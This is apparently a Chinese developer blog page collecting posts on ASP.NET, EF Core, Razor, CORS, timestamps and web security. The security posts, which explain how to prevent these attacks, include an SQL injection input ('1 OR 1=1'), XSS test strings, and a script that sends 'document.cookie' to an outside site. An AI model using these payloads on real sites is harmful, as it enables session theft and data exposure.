博客 (870)

本文适用于 EF Core,并非 EF 6.x 及以下。

在本演练中,您将构建一个使用 Entity Framework 执行基本数据访问的 ASP.NET Core MVC 应用程序。您将使用逆向工程基于现有数据库创建实体框架模型。

创建一个新项目

  • 打开 Visual Studio 2017

  • 文件 -> 新建 -> 项目...

  • 从左侧菜单中选择 已安装 -> 模板 -> Visual C# -> Web

  • 选择 ASP.NET Core Web应用程序(.NET Core)项目模板

  • 输入项目名称,然后单击确定

  • ASP.NET Core 1.1 选择 Web 应用程序

  • 确保“身份验证”设置为“不进行身份验证

  • 点击确定

安装 Entity Framework

要使用 EF Core,请安装目标数据库提供程序的软件包。本演练使用 SQL Server。有关可用提供程序的列表,请参阅 Database Providers(从打开页面的左侧菜单选择相应的数据库)。

  • 工具 -> NuGet 包管理器 -> 管理解决方案的 NuGet 程序包

  • 在“浏览”选项卡中搜索并安装 Microsoft.EntityFrameworkCore.SqlServer

我们将使用一些 Entity Framework 命令从数据库创建模型。所以我们也将安装工具包。

  • 安装 Microsoft.EntityFrameworkCore.SqlServer.Design

  • 安装 Microsoft.EntityFrameworkCore.Tools

模型的反向工程

现在是根据现有数据库创建 EF 模型的时候了。

  • 工具 -> NuGet 包管理器 -> 程序包管理器控制台

  • 运行 Scaffold-DbContext "数据库连接字符串" Microsoft.EntityFrameworkCore.SqlServer -OutputDir Models

数据库连接字符串可以从 服务器资源管理器 -> 数据连接,在要连接的数据库上右击属性来获得。

如果您收到以下错误说明,请关闭并重新打开 Visual Studio 后重试。

The term 'Scaffold-DbContext' is not recognized as the name of a cmdlet

逆向工程过程基于现有数据库的模式创建实体类(表名.cs)和派生上下文(库名Context.cs)。

实体类是简单的 C# 对象,表示要查询和保存的数据。

上下文表示与数据库的会话,并允许您查询和保存实体类的实例。

使用依赖注入注册上下文

依赖注入的概念是ASP.NET Core的核心。服务(例如数据库 Context)在应用程序启动期间使用依赖注入进行注册。然后,需要这些服务的组件(例如您的 MVC 控制器)通过构造函数参数或属性提供这些服务。

删除内联上下文配置

  • 打开 Models\库名Context.cs

  • 删除方法 OnConfiguring(...)

  • 添加以下构造函数,这将允许通过依赖注入将配置传递到上下文中

public 库名Context(DbContextOptions<库名Context> options)
    : base(options)
{ }

在 Startup.cs 中注册和配置上下文

为了使我们的 MVC 控制器使用数据库Context,我们将它注册为一个服务。

  • 打开 Startup.cs

  • 使用 using 语句在文件的开头添加以下内容

using 项目命名空间.Models;
using Microsoft.EntityFrameworkCore;

现在我们可以使用 AddDbContext(...)方法将其注册为服务。

  • 找到 ConfigureServices(...)方法

  • 添加以下代码以将上下文注册为服务

// This method gets called by the runtime. Use this method to add services to the container.
public void ConfigureServices(IServiceCollection services)
{
    // Add framework services.
    services.AddMvc();

    var connection = @"连接字符串";
    services.AddDbContext<库名Context>(options => options.UseSqlServer(connection));
}

在实际应用程序中,通常将连接字符串放在配置文件中。为了简单起见,我们在代码中定义它。查看如何将连接字符串配置到 appsettings.json 文件中

创建一个控制器

接下来,我们将在我们的项目中启用基架。

  • 右键单击解决方案资源管理器中的 Controllers 文件夹,然后选择添加 -> 控制器...

  • 选择 Full Dependencies(完全依赖),然后单击添加

  • 您可以忽略打开的 ScaffoldingReadMe.txt 文件中的指令

现在基架已启用,我们可以为数据表实体构建控制器。

  • 右键单击解决方案资源管理器中的 Controllers 文件夹,然后选择添加 -> 控制器...

  • 选择“视图使用 Entity Framework 的 MVC 控制器”并单击“添加

  • 设置模型类数据上下文类

  • 单击添加

运行应用程序

您现在可以运行应用程序以查看它的操作。

  • 调试 -> 开始执行(不调试)

  • 应用程序将在 Web 浏览器中构建和打开

  • 导航到相应的路径 /控制器名

  • 单击 Create New

  • 填写表单并单击 Create

EF Core for MySQL

  • 截至 Visual Studio 2017 正式版发布(2017年3月7日),MySQL for Visual Studio支持)尚不支持 Visual Studio 2017,因此 Visual Studio 2017 的服务器资源管理器不能连接数据源为 MySQL 的数据库,也无法创建和更新可视化模型(.edmx)

  • NuGet 包 MySql.Data.EntityFrameworkCore 还没有找到 Database First 的 PM 命令,因此不能由 MySQL 数据库生成实体类和上下文

  • 综上,要连接 MySQL 只能用 VS2015,要生成 MySQL 实体类和上下文就不能用 EF Core,暂时使用 EF 6.x 代替(创建 ASP.NET MVC 项目)

EF Core 1.1 未实现

  • EF Core 1.1 未实现:可视化模型,以查看基于代码的模型的图形表示。

  • EF Core 1.1 未实现:用于逆向工程的 Visual Studio 向导,允许您在从现有数据库创建模型时可视化地配置连接,选择表等。

  • EF Core 1.1 未实现:从数据库更新模型,允许从数据库以前反向工程的模型使用对模式所做的更改进行刷新。

补充

如果我们在创建新项目时选择 ASP.NET Core Web应用程序(.NET Framework项目模板,那么完全按照 Core 的方式来开始(比如选择 NuGet 包的版本),而发布必须是 .NET Framework 环境,而非跨平台。

参考

ASP.NET Core - Existing Database

Compare EF Core & EF6.x

xoyozo 9 年前
11,088

语法示例

ASPX:

<ul>
  <% foreach(var p in products) { %>
    <li><%=p.Name%> ($<%=p.Price%>)</li>
  <% } %>
</ul>

Razor:

<ul>
  @foreach(var p in products) {
    <li>@p.Name ($@p.Price)</li>
  }
</ul>

代码块

ASPX: <% int a = 1; %>
Razor: @{ int a = 1; }

渲染输出

经过 HTML 编码

ASPX:  <span><%: model.Message %></span>
Razor: <span>@model.Message</span>

未经 HTML 编码

ASPX:  <span><%= model.Message %></span>
Razor: <span>@Html.Raw(model.Message)</span>

代码与纯文本混合

ASPX:

<% if(foo) { %>
  Plain Text
<% } %>

Razor 写法一:多用于多行文本

@if(foo) {
  <text>Plain Text</text>
}

Razor 写法二:多用于单行文本

@if(foo) {
  @:Plain Text
}

@ 符号

<span>我在微博上@@了她</span>

Email

自动识别 Email,不需要 @@

940534113@qq.com

显示渲染输出

如果变量被误识别为 Email,可以使用括号包围变量

<span>ISBN@(isbnNumber)</span>

服务端注释

@* 注释内容 *@

渲染输出动态方法

@(MyClass.MyMethod<AType>())

Razor 委托

复用视图逻辑

@{
  Func<dynamic, object> b =
    @<strong>@item</strong>;
}
@b("Bold this")

布局文件 _Layout.cshtml

视图主体区域
@RenderBody() 

创建预设区域
@RenderSection("名称", required: false)

使用预设区域
@section 名称 {...}

视图入口文件 _ViewStart.cshtml

放置通用视图代码,譬如
@{
    Layout = "~/Views/Shared/_Layout.cshtml";
}

视图中可重写覆盖 _ViewStart.cshtml 中的设置,譬如
@{
    Layout = null;
}

@ViewBag.Title 相当于 @ViewData["Title"]

一款将 ASPX 视图转换为 Razor 视图的软件:razor-converter

ActionResult

ContentResult
EmptyResult
FileResult
HttpStatusCodeResult
  HttpNotFoundResult
  HttpUnauthorizedResult
JavaScriptResult
JsonResult
RedirectResult
RedirectToRouteResult
ViewResultBase
  PartialViewResult
  ViewResult

NotFound()
OK(Model)

过滤器

规定请求方式

[HttpPost]
[HttpGet]

Action 名称替身(不推荐)

[ActionName("另起一名")]

授权验证

[Authorize]
[Authorize(Roles="Admin")]

客户端验证

jquery.validate 

远程验证

[Remote("验证的 Action 名", "控制器名", ErrorMessage="远程验证未通过")]

用于远程验证的 Action 必须是 HttpGet 的,返回 JsonResult。

自验证
结合 ValidationContext 和 ValidationResult

保持视图中代码量最小化:
- 视图中不要含有数据处理的逻辑代码
- 视图中要避免包含大的代码块
- 构建多个视图/局部视图
- 适当使用 @helper 和 @function 语法

尽量使用特定的 Model 代替 ViewData / ViewBag!
@ViewData["Message"]  =>  @Model.Message

Ajax Helper

jquery.unobtrusive-ajax.js

@Ajax.ActionLink("Home", "Index", new AjaxOptions { UpdateTargetId = "main" })
<a data-ajax="true" data-ajax-mode="relace" data-ajax=update="#main" href="/">Home</a>

推荐插件

Elmah:记录所有异常日志,便于发现 Bug,提高用户体验
RouteDebugger:查看路由详情
Glimpse:类似浏览器 F12,提供服务端信息
MiniProfiler:监控各环节耗时,找出性能瓶颈

教程

ASP.NET MVC 微软官方文档(英文)(一键翻译即可)

ASP.NET MVC 3 开发实践系列课程

xoyozo 9 年前
4,049

互联网项目里边,SQL 注入漏洞XSS 漏洞猜测 URL 攻击这三个漏洞可谓历史悠久,然而直到今天还有人不断中枪,也真是微醺。

这几个漏洞说大也大,说小也小。说大是说这些漏洞危害大,会导致数据层面的安全问题;说小是从技术层面上讲都是未对外部输入做处理导致的,想要做针对性地防范很简单。下面简单看看这些漏洞的原因及防范方法。

SQL 注入

SQL 注入之所以存在,主要是因为工程师将外部的输入直接嵌入到将要执行的 SQL 语句中了。黑客可以利用这一点执行 SQL 指令来达到自己目的。举例来说,有一个接受参数为 id 的页面,在接收到id后从数据库中查询相应的数据, 其代码大致如下:

string  SQL = "SELECT * FROM [User] WHERE ID=" + Request["ID"];

正常情况下,Request["ID"] 为数字,这条 SQL 能很好地工作。如果我们认为修改 Request["ID"],将其内容修改为 ID=1 OR 1=1 我们将得到这样一条 SQL:

SELECT * FROM [User] WHERE ID=1 OR 1=1

因为有 OR 的出现这条 SQL 语句已经可以获取 User 表中的任意信息。利用 SQL 注入漏洞,我们能够获取想要的信息,同时可以通过猜测-报错获取到数据库其它表的结构和信息,如果数据库、服务器权限设置不当,甚至有可能能获取到整个服务器的控制权限。

规避这种漏洞有很多种办法,以现代的编程语言来说,选择一个合适的 ORM 框架可以减少不少问题而且能大大提高开发效率。

如果因为某些原因需要继续写 SQL 语句,参数化查询也能解决这一问题。

对于需要拼接 SQL 语句的程序来说,注意两点也可以避免此问题。第一点是如果查询的字段类型是数字等类型,在拼接 SQL 前先判断输入是不是一个合法的数字,不合法则终止程序即可。第二点是如果字段类型是字符串,则记得输入里的单引号进行转义

XSS 攻击

如果说 SQL 注入是直接在 SQL 里执行了用户输入,那 XSS 攻击是在 HTML 里代码执行了用户输入。相对 SQL 注入,XSS 似乎更能引起人关注。几年前新浪微博被人利用 XSS 获取大量粉丝;3DM 也曾经被植入 script 代码对另一个游戏网站进行了惨无人道的 DDOS 攻击。

这里还是用 SQL 注入中的例子来说,假设页面输出为:

<div><%= Request["ID"] %></div>

这里我们可以在 Request["ID"] 里传入一段编码后的脚本,在最终输出的时候,就变成了一段可执行的 javascript 代码。

<script>window.location.href='anothersite.com?cookie=' + document.cookie;</script>

这段代码获取到当前页面的 cookie 值,并将 cookie 值传递到另一个名为 anothersite.com 的网站。利用这种模式,黑客可以获取到用户的登录信息或者将用户跳转到钓鱼网站来达成自己的目的。

XSS 攻击也可以简单分为两种,一种是上述例子中利用 url 引诱客户点击来实现另一种是通过存储到数据库,在其它用户获取相关信息时来执行脚本

防范 XSS 攻击需要在所有的字段都对输入的字符串进行 html encode(或者在输出时进行 encode)。如果需要使用富文本编辑的,可以考虑使用 UBB。

猜测 URL 攻击

猜测 URL 攻击是通过已知的 GET、POST 参数来猜测未公开的参数并尝试进行攻击。

以 Request["ID"] 为例,如果 ID 为 1 是合法的可访问的数据,可以通过尝试 ID=2,ID=3 等一系列来尝试是否对其它资源有访问、修改权限。如果控制不当,则可以轻松获得并修改数据。

要避免这种问题,方案一是使用较长的无规律的数字、字符来做为 ID,增大猜测难度;对于需要登录的程序,可以判断用户身份是否有对应 ID 数据的访问、修改权限;如果 ID 已经是自增类型且不需要登录,可以用过在 URL 里增加无规律的校验字段来避免。

其它需要注意的地方

安全是一个系统工程。

要提高系统安全性,最首要的一点是不要相信任何输入!不要相信任何输入!不要相信任何输入!重要的事情说三遍。这里的输入除了 URL 里的 GET 参数、POST 参数,还包括 COOKIE、Header 等可以进行修改的各类信息。

在程序设置方面,不输出客户不需要知道的各类信息,如原始的异常信息、异常附近的代码段等等,这样也能增加不少安全性。

最后,在测试或系统运行的过程中,可以使用类似 appscan 这样的安全检测工具来检查程序是否有漏洞。

R
转自 Reginald 9 年前
6,200

XSS (跨站脚本攻击)虽然手段初级,但网站开发者稍不留神就会给黑客留下机会。在 ASP.NET 中,默认阻止了表单文本中的危险字符(譬如 HTML 标签),但有时为了功能需求,我们需要在服务端获取用户输入的任何文本或者富文本编辑器的内容,那么首先应该使用 JS 将数据进行 HTML 编码。

将以下测试文本填入到多行文本框内:

&a=1
'">ABC<'"
</pre>PRE<pre>
</textarea>AREA<textarea>
<script>alert(1)</script>

或将以下测试文本填入到单行文本框内:

&a=1'">a< /input>b<input value='"c<script>alert(1)</script>

使用 jQuery 异步 POST 方式提交到服务端:

$.post("post.aspx", {
  myData: $("#myTextarea").val()
}, function (data) {
  console.log(data);
}, 'text');

这时,post.aspx 将返回 500 内部服务器错误:

从客户端(......)中检测到有潜在危险的 Request.Form 值。

将提交代码稍作改动,把 POST 数据进行 HTML 编码

$.post("post.aspx", {
  myData: $('<div />').text($("#myTextarea").val()).html()
}, function (data) {
  console.log(data);
}, 'text');

这样,服务端接收到的 myData 值应该是:

&amp;a=1
'"&gt;ABC&lt;'"
&lt;/pre&gt;PRE&lt;pre&gt;
&lt;/textarea&gt;AREA&lt;textarea&gt;
&lt;script&gt;alert(1)&lt;/script&gt;

顺利通过 ValidateRequest 的检验。

我们在服务端对其进行一次 HTML 解码

string myData = HttpUtility.HtmlDecode(Request.Form["myData"]);
// 接收时,去首尾空格、去 null
string myData = HttpUtility.HtmlDecode(Request.Form["myData"]?.Trim() ?? "");

客户端的编码和服务端的解码是一对互操作。

我们把用户输入的原始内容存入数据库中。

页面输出时,必须要经过 HTML 编码,否则内容将被解释成 HTML,出现跨站攻击漏洞。下面列出常见的输出到页面的方法(注意区分 <%=<%:<%# 与 <%#:)。这样,浏览器中查看源代码看到的即是 HTML 编码的内容,渲染后看到的即是原本在输入框中输入的原文。

// WebForm 输出到 div
<div><%: myData %></div>

// WebForm 输出到 pre
<pre><%: myData %></pre>

// WebForm 输出到文本脚本
<script type="text/plain"><%: myData %></script>

// WebForm 输出到单行文本框
<input type="text" value='<%: myData %>' />

// WebForm 输出到多行文本框
<textarea><%: myData %></textarea>

// WebForm 赋值到 <asp:TextBox /> (不需要手动 HtmlEncode)
input_myData.Text = myData;

// WebForm 绑定到数据控件
<%#: Eval("myData") %>

// MVC Razor
@Html.DisplayFor(model => model.myData)
// 或
@Model.myData

<%: 会自动替换 "'&quot;&#39;,不用担心输出到 <input /> 的 value 属性中会产生问题。

如果数据由 <textarea /> 提供并希望在输出时保持换行,那么先执行 HtmlEncode,再替换换行符:

// WebForm 输出到 div
<div><%= HttpUtility.HtmlEncode(myData)?.Replace(" ", "&nbsp;").Replace("\r\n", "<br />").Replace("\r", "<br />").Replace("\n", "<br />") %></div>

// WebForm 输出到 pre(无须处理换行)
<pre><%: myData %></pre>

// WebForm 绑定到数据控件
<%# HttpUtility.HtmlEncode(Eval("myData"))?.Replace(" ", "&nbsp;").Replace("\r\n", "<br />").Replace("\r", "<br />").Replace("\n", "<br />") %>

更特殊的例子:

// WebForm 输出到 Highcharts
var chart = Highcharts.chart('container', {
  title: {
    text: $('<div />').html('《<%: exam.title.Replace("\r", "").Replace("\n", "") %>》问卷回收量').html()
  },
  ...
});

// 导出 Excel 时指定文件名(会自动替换非法字符)
Response.AddHeader("Content-Disposition", string.Format("attachment; filename={0}.xls", exam.title));

如果我们使用在线编辑器来编辑我们的内容,需要在浏览输出时实现“所见即所得”,那么就需要将原文输出到源代码,渲染后展示效果:

// ASPX
<%= myData %>

// Razor
@Html.Raw(Model.myData)

务必保证是网站编辑人员在授权登录下提交在线编辑器的内容,否则可能成为跨站攻击的漏洞。通常不建议普通网友使用在线编辑器,如一定要用,必须处理一些危险的标签,参此文


总结

客户端输入的原文,经过 JS 的 HTML 编码传输到服务器,HTML 解码后存入数据库,读取展示时 HTML 编码输出(在线编辑器的内容不需要编码)。


建议

如果我们对所有输入的字符串作以上编码解码的处理想必是非常繁琐且容易出错的。微软提供了 ValidateRequest,不用不是太浪费了?

对于普通的文本框输入,我们省略 JS 端的 HTML 编码,省略服务端的 HTML 解码即可,输出仍然按文中描述处理。

好的用户体验是在 Request.Form["xxx"] 时进行容错处理并返回客户端友好提示。

我们仅针对在线编码器及需要以代码为内容的数据提交进行编码、解码处理,以绕过 ValidateRequest。


顺便提一下,千万不要这样写:

<%= Request.QueryString["xxx"] %>

千万不要动态拼接 SQL 语句,防止 SQL 注入。

xoyozo 9 年前
6,439

在本教程中,我解释了如何使用 jQuery 和 ASP.NET 发送跨域 AJAX 请求,PHP 开发者请参考此文

跨域 AJAX 请求有两种方式:

1). 使用 JSONP

2). 使用 CORS(跨源资源共享)

1). 使用 JSONP

我们可以使用 JSONP 发送跨域 AJAX 请求。下面是简单的 JSONP 请求:

$.ajax({
    url : "http://xoyozo.net/cross-domain-cors/jsonp.aspx",
    dataType:"jsonp",
    jsonp:"mycallback",
    success:function(data)
    {
        alert("Name:"+data.name+"nage:"+data.age+"nlocation:"+data.location);
    }
});

jsonp.aspx 响应是:

mycallback({"name": "Ravishanker", "age": 32, "location": "India"})

当 JSONP 请求成功时,调用 mycallback 函数。

这能在所有浏览器中正常运行,但问题是:JSONP 只支持 GET 方法,不支持 POST 方法。

2). 使用 CORS(跨源资源共享)

出于安全考虑,浏览器不允许跨域 AJAX 请求。仅当服务器指定相同的源安全策略时,才允许跨域请求。常见的异常警告:

You can not send Cross Domain AJAX requests: 

XMLHttpRequest cannot load. No 'Access-Control-Allow-Origin' header is present on the requested resource. Origin is therefore not allowed access.

阅读更多关于跨源资源共享(CORS):Wiki

要启用 CORS,您需要在服务器中指定以下 HTTP 标头。

Access-Control-Allow-Origin &ndash; 允许跨域请求的域的名称。 * 表示允许所有域。

Access-Control-Allow-Methods &ndash; 在请求期间可以使用 HTTP 方法的列表。

Access-Control-Allow-Headers &ndash; 可以在请求期间使用 HTTP 头列表。

在 ASP.NET 中,您可以使用以下代码设置标头:

Response.AddHeader("Access-Control-Allow-Origin", "*");
Response.AddHeader("Access-Control-Allow-Methods", "GET, PUT, POST, DELETE, OPTIONS");
Response.AddHeader("Access-Control-Allow-Headers", "Content-Type, Content-Range, Content-Disposition, Content-Description");

CORS 在所有最新的浏览器中正常工作,但不支持 IE8 和 IE9,异常:

You can not send Cross Domain AJAX requests: No Transport

IE8、IE9 使用 window.XDomainRequest 处理 AJAX 请求。我们可以使用这个 jQuery 插件:

https://github.com/MoonScript/jQuery-ajaxTransport-XDomainRequest

为了在 IE 中使用 XDomainRequest,请求必须是:

a). GET 或 POST

    数据必须以 Content-Type 为 text/plain 的方式发送

b). HTTP 或 HTTPS

    协议必须与调用页面相同

c). 异步

具体步骤:

第一步:在 <head> 中添加脚本

<script type='text/javascript' src="http://cdnjs.cloudflare.com/ajax/libs/jquery-ajaxtransport-xdomainrequest/1.0.1/jquery.xdomainrequest.min.js"></script>

第二步:在 $.ajax 请求中设置 contentType 值 text/plain

var contentType ="application/x-www-form-urlencoded; charset=utf-8";
 
if(window.XDomainRequest) // for IE8,IE9
    contentType = "text/plain";
 
$.ajax({
    url: "http://xoyozo.net/cross-domain-cors/post.aspx",
    data: "name=Ravi&age=12",
    type: "POST",
    dataType: "json",   
    contentType: contentType,    
    success: function(data)
    {
       alert("Data from Server" + JSON.stringify(data));
    },
    error: function(jqXHR, textStatus, errorThrown)
    {
       alert("You can not send Cross Domain AJAX requests: " + errorThrown);
    }
});

post.aspx 源码:

Response.AddHeader("Access-Control-Allow-Origin", "*");
Response.AddHeader("Access-Control-Allow-Methods", "GET, PUT, POST, DELETE, OPTIONS");
Response.AddHeader("Access-Control-Allow-Headers", "Content-Type, Content-Range, Content-Disposition, Content-Description");

NameValueCollection nvc = new NameValueCollection();
// nvc.Add(Request.QueryString);
nvc.Add(Request.Form);
if (nvc.Count == 0)
{
  string data = System.Text.Encoding.Default.GetString(Request.BinaryRead(Request.TotalBytes));
  nvc = HttpUtility.ParseQueryString(data);
}

string name = nvc["name"];
int age = Convert.ToInt32(nvc["age"]);

 

xoyozo 9 年前
7,655

UTC(世界协调时间)和 GMT(格林尼治标准时间)都与英国伦敦的本地时间相同。北京是东八区,即 UTC+8 或 GMT+0800

时间戳是指格林威治时间1970年01月01日00时00分00秒(北京时间1970年01月01日08时00分00秒)起至现在的总秒数。

翻译成程序员语言就是指当前的本地时间与 1970-1-1 0:00:00 UTC 时间换算的本地时间相差的秒数
或者当前的 UTC 时间与 1970-1-1 0:00:00 UTC 时间相差的秒数

以我在北京时间 2000/1/1 8:00:00 站在东八区为例:

在 JS 中:

// 获取当前本地时间:
new Date()
// 返回:Jan 1 2000 8:00:00 GMT+0800(中国标准时间)

// 获取当前 UTC 时间字符串:
(Local Time).toUTCString()
// 返回:Jan 1 2000 0:00:00 GMT

// 初始化一个 UTC 时间 2000-1-1 0:00:00
new Date(Date.UTC(2000, 1 - 1, 1, 0, 0, 0))

// 获取 UTC 时间的本地时间字符串:
(UTC Time).toLocaleString()


// 本地时间 1970/1/1 8:00:00 的时间戳
new Date(1970, 1 - 1, 1, 8, 0, 0).getTime() / 1000
// 返回:0

// 本地时间 2000/1/1 8:00:00 的时间戳
new Date(2000, 1 - 1, 1, 8, 0, 0).getTime() / 1000
// 返回:946684800

// 本地时间 当前 的时间戳
new Date().getTime() / 1000

// UTC 时间 2000/1/1 0:00:00 的时间戳
new Date(Date.UTC(2000, 1 - 1, 1, 0, 0, 0)).getTime() / 1000
// 或
Date.UTC(2000, 1 - 1, 1, 0, 0, 0) / 1000
// 返回:946684800

在 C# 中:

DateTime 默认的 Kind 是 Local,使用 DateTime.SpecifyKind() 方法可以定义一个 UTC 时间
DateTime.Now 返回当前本地时间
DateTime.UtcNow 返回当前 UTC 时间

// 定义一个本地时间 2000/1/1 8:00:00
new DateTime(2000, 1, 1, 8, 0, 0)

// 定义一个 UTC 时间 2000/1/1 0:00:00
DateTime.SpecifyKind(new DateTime(2000, 1, 1), DateTimeKind.Utc)

// 将 UTC 时间转化为本地时间
(UTC Time).ToLocalTime()

// 将本地时间转化为 UTC 时间
(Local Time).ToUniversalTime()

再次说明,本地时间和 UTC 时间都是 DateTime 对象,关键看定义的时候是 Local 还是 Utc

// 本地时间 1970/1/1 8:00:00 的时间戳
(new DateTime(1970, 1, 1, 8, 0, 0) - DateTime.SpecifyKind(new DateTime(1970, 1, 1), DateTimeKind.Utc).ToLocalTime()).TotalSeconds
// 返回:0

// 本地时间 2000/1/1 8:00:00 的时间戳
(new DateTime(2000, 1, 1, 8, 0, 0) - DateTime.SpecifyKind(new DateTime(1970, 1, 1), DateTimeKind.Utc).ToLocalTime()).TotalSeconds
// 返回:946684800

// 本地时间 当前 的时间戳
(DateTime.Now - DateTime.SpecifyKind(new DateTime(1970, 1, 1), DateTimeKind.Utc).ToLocalTime()).TotalSeconds


// 将时间戳 946684800 转换为本地时间
DateTime.SpecifyKind(new DateTime(1970, 1, 1), DateTimeKind.Utc).ToLocalTime().AddSeconds(946684800)

实战:

如果我们要将时间戳精确到毫秒,那么 JS 直接 .getTime() 即可,不需要 / 1000,C# 将它转换为本地时间时用 AddMilliseconds 代替 AddSeconds。

中国跨越了多个时区却统一使用北京时间,所以国内网站只要记录本地时间即可;如果做国际站或者有不同国家的访客,除非全部由服务器端获取时间,否则客户端 JS 的本地时间(非时间戳)都需要转换成 UTC 时间来跟服务端的时间进行运算和保存,推荐使用时间戳在客户端和服务端之间传递,因为时间戳与时区无关,它是两个相同性质的时间(同为本地时间或同为 UTC 时间)的差值。

xoyozo 9 年前
15,109

兼容建议:(2017年初)

连淘宝都放弃 IE6 了,就不需要再坚持了;

IE7 跟错了老大(Vista),已经没有市场了;

当前市场份额最大的操作系统还是 Win7,所以 IE8 是必须要兼容的,就算国人都安装了国产浏览器,内核也未必会升到 IE9-11。

当然每个站的访客群体不同,具体还得参考网站统计数据来确定兼容级别。

为了友好,建议你在不打算兼容的浏览器上提供升级提示和新版下载链接。

如果是纯移动端,那么大胆地用 HTML5 就行了。

以下例举我遇到过的兼容问题:

浏览器版本 注意事项
IE6-7 <input type="radio" /> 必须设置 name 才能被选中
IE6-7 不支持 console.log
IE6-7 不支持 JSON.stringify
所有 IE 不支持 <input /> 新的 type 类型,查看详情
xoyozo 9 年前
5,676

文章表:

文章ID 分类ID 标题 阅读数
1 1 第一篇文章 8
2 1 第二篇文章 9
3 2 第三篇文章 8

分类表:

分类ID 分类名称
1 国内新闻
2 国际新闻

问题:怎样获取每个分类中的最新一篇文章?

错误尝试:如果先查分类表,再判断按分类ID去取各自的最新一篇文章,性能是极差的。

思路:查文章表并按分类ID分组,取出该组的最新一篇文章ID,再IN出这些文章。

SQL:

select * from 文章表 
where 文章ID in(
    select max(文章ID) from 文章表 
    group by 分类ID
    ) 

因为文章ID是唯一的,所以以上写法的结果没有问题。

但是如果我们要获取每个分类中阅读量最高的文章,同样有以下 SQL:

select * from 文章表 
where 阅读数 in(
    select max(阅读数) from 文章表 
    group by 分类ID
    ) 
order by 阅读数 desc

这就导致“国内新闻”这个分类的两篇文章都被列出,因为该分类下阅读数居第二的文章的阅读数也是与“国际新闻”阅读数首位的文章相同。

大家有没有更好的思路来完美解决这个问题?注意是 MSSQL 中,MySQL 没有这个烦恼。

xoyozo 9 年前
5,521

场景:分区时提示无法创建分区。

原因:在不支持 UEFI 的电脑使用大于 2T 的硬盘。

效果:分区时将所有分区删除后,同一块磁盘会出现两个“未分配空间”,第一个是 2048GB,也就是说旧电脑最多只能用到 2T 的空间。(尚未验证一块磁盘最多用到 2T 还是所有磁盘相加最多用到 2T)

解决:看看 BIOS 有没有开启 UEFI 的选项,否则就把旧电脑扔了吧。

xoyozo 9 年前
7,264

最近要做个简单的类似 CNZZ 和百度统计的统计器,不可避免地遇到 JS 文件异步加载 和 给 JS 文件传参 的问题。

参考了 CNZZ 的代码以后,在 Chrome 的控制台发现以下警告:

A Parser-blocking, cross-origin script, http://s4.cnzz.com/stat.php?***, is invoked via document.write. This may be blocked by the browser if the device has poor network connectivity. See https://www.chromestatus.com/feature/5718547946799104 for more details.

Paul Kinlan 给出了解释,是因为使用了 document.write() 的方式输出了 <script src="***" /> HTML DOM,建议改成 document.appendChild() 或 parentNode.insertBefore(),最好的例子就是 Google Analytics

<!-- Google Analytics -->
<script>(function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){
(i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
})(window,document,'script','https://www.google-analytics.com/analytics.js','ga');
ga('create', 'UA-XXXXX-Y', 'auto');
ga('send', 'pageview');
</script>
<!-- End Google Analytics -->

上述 JavaScript 跟踪代码段可以确保该脚本在所有浏览器中加载和异步执行。

加了一些注释,便于理解,官方英文版

(function (i, s, o, g, r, a, m) {
  i['GoogleAnalyticsObject'] = r;
  // console.log(window['GoogleAnalyticsObject']) // 'ga'
  // console.log(i[r]) // undefined
  i[r] = i[r] || function () { // i[r] 就是 window['ga'],定义了一个函数
    (i[r].q = i[r].q || []).push(arguments) // 往 ga.q 这个数组中增加一项
  },
  i[r].l = 1 * new Date(); // 时间戳,写法等同于 new Date().getTime()
  // console.log(i[r]) // window['ga'] 就是上面那个 function
  a = s.createElement(o), // 创建一个 script 元素
  m = s.getElementsByTagName(o)[0]; // 文档中的第一个脚本(文档中肯定至少已有一个脚本了)
  a.async = 1; // 异步加载
  a.defer = 1; // 兼容旧浏览器(我自己加的)
  a.src = g;
  m.parentNode.insertBefore(a, m) // 将 a 脚本插入到 m 脚本之前
})(window, document, 'script', 'http://***/***.js', 'ga');
// i s o g r
ga('create', 'UA-XXXXX-Y', 'auto');
ga('send', 'pageview');

过程是:

创建了一个 <script> 元素,并异步加载 http://***/***.js;初始化了一个全局函数 ga;在 ga() 命令队列中添加了两条命令。

现在我们可以在这个外部 js 中使用 ga.q 这个对象中的数据了,示例:

;(function () {
  console.log(ga.q);
})(window);

简单补充下,async 是 HTML5 属性,使支持异步加载 JS 文件;defer 只支持 IE,作用类似。

测试异步只需要将 js 文件换成服务端页面,并人为设置 sleep 时间即可,阻塞式调用的话会在加载 js 时暂停后续页面的渲染。

xoyozo 9 年前
8,884